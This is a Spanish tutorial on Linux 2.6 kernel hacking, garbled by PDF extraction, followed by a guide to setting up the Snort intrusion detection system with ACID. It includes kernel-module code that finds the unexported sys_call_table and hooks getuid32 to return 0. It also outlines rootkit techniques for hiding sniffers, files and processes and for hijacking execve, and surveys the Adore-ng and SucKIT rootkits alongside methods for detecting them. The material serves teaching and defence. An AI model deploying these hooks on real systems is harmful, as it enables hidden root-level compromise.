1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)

Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor

KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt

No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas

Kernel hacks y seguridad JMP

Compilacioacuten de LKMs para la serie 26

En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea

obj-m = moduloo

Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar

Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente

root make -C usrsrclinux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod

8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT

Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa

Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario

Kernel hacks y seguridad JMP

Resumiendo

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

